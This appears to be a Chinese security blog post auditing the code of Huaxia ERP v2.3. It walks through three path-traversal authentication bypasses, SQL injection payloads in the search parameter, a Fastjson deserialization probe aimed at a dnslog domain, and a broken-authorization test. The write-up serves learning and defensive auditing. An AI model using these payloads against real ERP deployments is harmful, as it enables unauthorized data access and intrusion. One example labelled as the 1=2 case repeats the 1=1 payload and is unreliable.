点击蓝字,关注我们
日期:2023-07-20 作者:Corl 介绍:华夏 ERPv2.3
版本代码审计。
0x00 前言
最近在学习代码审计,听他们说华夏ERP
的2.3
版本漏洞挺多的,并且是SpringBoot
项目,比较适合新手学习,于是就在gitee
上下载了该系统的源码,开始了对该系统的审计。
0x01 认证绕过漏洞
由于该系统未使用安全框架,所以对身份校验的功能可能写在Filter
中,通过全局搜索Filter
,发现了LogCostFilter
文件。通过查看该文件,发现存在认证绕过漏洞,并且存在3
种绕过方式。
1.1 第一处绕过
如果请求url
不等于null
并且请求url
中包含/doc.html
或/register.html
或/login.html
则进行放行,那么请求url
开头使用这3
个中的任意一个,再使用../
跳转到上一层目录,再拼接要请求的后台接口,那么即可实现认证绕过,获取到接口数据。
登录系统,抓取一个有数据的接口。
将cookie
删除后,响应302
,无法再获取到接口数据。
这里开头使用/doc.html
,拼接../
后,成功获取到接口数据。
1.2 第二处绕过
第二处绕过调用的方法为verify
,verify
方法首先使用for
循环遍历ignoredList
的值,然后再拼接regexPrefix+regex+regexSuffix
赋值给pattern
,即^.*+regex+.*$
,然后再使用matcher
方法,将url
根据pattern
去进行正则匹配,如果匹配成功,返回true
,否则返回false
。也就是说只要是匹配成功,那么即可实现认证绕过。
再看ignoredList
中有哪些值,首先定义了IGNORED_PATH
等于ignoredUrl
,ignoredUrl
中的值为.css#.js#.jpg#.png#.gif#.ico
,再将这些值以#
号分割保存在ignoredUrls
中,再使用for
循环,将值添加到ignoredList
中。
这里使用在线的正则表示式测试网站,这里取.css
为例,那么正则为^.*.css.*$
,输入aaaacss
后,点击测试匹配,可见可以匹配到。
那么就以/aaaacss
开头,再拼接../
,可以看到成功进行了绕过,获取到了接口的数据。
1.3 第三处绕过
首先判断allowUrls
是否为空并且allowUrls
的长度是否大于0
,然后再使用for
依次去取allowUrls
中的值为url
,再判断请求的url
是否以allowUrls
中的值开头,如果是,则进行放行。
再看allowUrls
中的值有哪些,首先定义FILTER_PATH
等于filterPath
,filterPath
的值为/user/login#/user/registerUser#/v2/api-docs
。然后再使用#
号进行分割,保存在allowUrls
中。
那么开头是/user/login
或/user/registerUser
或/v2/api-docs
,那么就会对请求进行放行。再拼接../../
加请求的接口,那么就可以获取到接口的数据。
0x02 SQL注入
全局搜索${
,发现了大量使用${
进行拼接的地方,随便点击一条,这里以AccountMapperEx.xml
中的第23
行为例,进入到该文件。
发现不止name
使用的${}
拼接,还有serialNo
、emark
也是使用的${}
拼接,因此这俩参数也是存在注入的。
按住Ctrl
,点击selectByConditionAccount
,往上进行追踪,发现传入了name
、serialNo
、remark
、offset
、rows
等值,再往上追踪,查看参数是否可控。
发现AccountService
中的select
方法调用了selectByConditionAccount
方法,并且没有进行参数过滤,继续往上追踪。
AccountComponent
中的getAccountList
方法调用了AccountService
的select
方法,该方法就是从search
中进行取值,将取出来的值传入到AccountService
的select
方法中,然后select
方法再调用getAccountList
方法。按住Ctrl
,点击select
,再往上追踪。
先判断apiName
是否为空,再使用container.getCommonQuery
进行查询apiName
,按住Ctrl
点击getCommonQuery
方法,进入到InterfaceContainer
文件中。
该文件是对接口进行统一实例化处理,当apiName
为account
的时候,就会去实例化对应的AccountComponent
类,AccountComponent
类实现了ICmmonQuery
这个接口,就会调用此接口ICmmonQuery
类下的对应的方法。
按住Ctrl
,点击select
,就跳转到了Controller
层,发现search
参数可控,并且将search
参数put
进了parameterMap
中,然后再把apiName
、parameterMap
传入到configResourceManager.select
方法。
由于上面进入到的是AccountComponent
文件,所以这里apiName
就取account
,由于并没有上级路由,直接构造请求,由于AccountComponent
的getAccountList
方法,传入了name
、serialNo
、remark
,这里也使用这3
个参数。
构造请求后,并将search
参数进行url
编码后,可以获取到数据。
/account/list?search={"name":"","serialNo":"","remark":""}¤tPage=1&pageSize=10
使用payload
进行验证,当1=1
时,可以获取到数据。
/account/list?search={"name":"1' and 1=1 --+'","serialNo":"","remark":""}¤tPage=1&pageSize=10
当1=2
时,获取不到数据。
/account/list?search={"name":"1' and 1=1 --+'","serialNo":"","remark":""}¤tPage=1&pageSize=10
这里serialNo
、remark
同样也是存在注入的,系统中还有大量参数存在注入,这里就不再进行列举了。
/account/list?search={"name":"","serialNo":"1' and 1=1 --+'","remark":""}¤tPage=1&pageSize=10
/account/list?search={"name":"","serialNo":"","remark":"bb' and 1=1 --+'"}¤tPage=1&pageSize=10
0x03 Fastjson反序列化
通过查看pom.xml
,发现引入了fastjson
,并且版本为1.2.55
,该版本是存在反序列化漏洞的。
通过全局搜索JSON.parseObject
,发现多处使用了该函数,找一个接收前端参数的点,这里选择MaterialController
文件。
进入文件查看,search
参数可控,并且将search
传到了JSON.parseObject
中,因此是存在反序列化的。
查看文件头部,还有上一级路由/material
,所以此漏洞点的路由为/material/getMaterialEnableSerialNumberList
,构造数据包,并将payload
进行url
编码后,响应200
。
{"@type":"java.net.Inet4Address","val":"i4xz8g.dnslog.cn"}
dnslog
成功收到请求。
0x04 越权漏洞
在系统中随便找一个添加数据的接口,这里以/addDepotHeadAndDetail
接口为例,代码中并没有对身份进行判断,就只是将前端获取到的参数值传入方法中进行调用。当然不只是添加操作没有对身份进行校验,查询、删除、修改操作,也是没有对身份进行校验,同样可以实现越权。
首先使用管理员账号进行添加,响应添加成功。
将cookie
替换为普通账号的cookie
,仍可添加成功。
0x05 总结
该系统漏洞类型还是挺多的,通过审计该系统也是学到了不少知识,比如学到了通过认证绕过,可以实现在未登录状态下,直接利用后台漏洞。在审计过程中,我感觉不可浮躁,一定要一点一点地去看代码,才能审到更多的漏洞。
点此亲启
原文始发于微信公众号(宸极实验室):『代码审计』华夏 ERP 代码审计
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论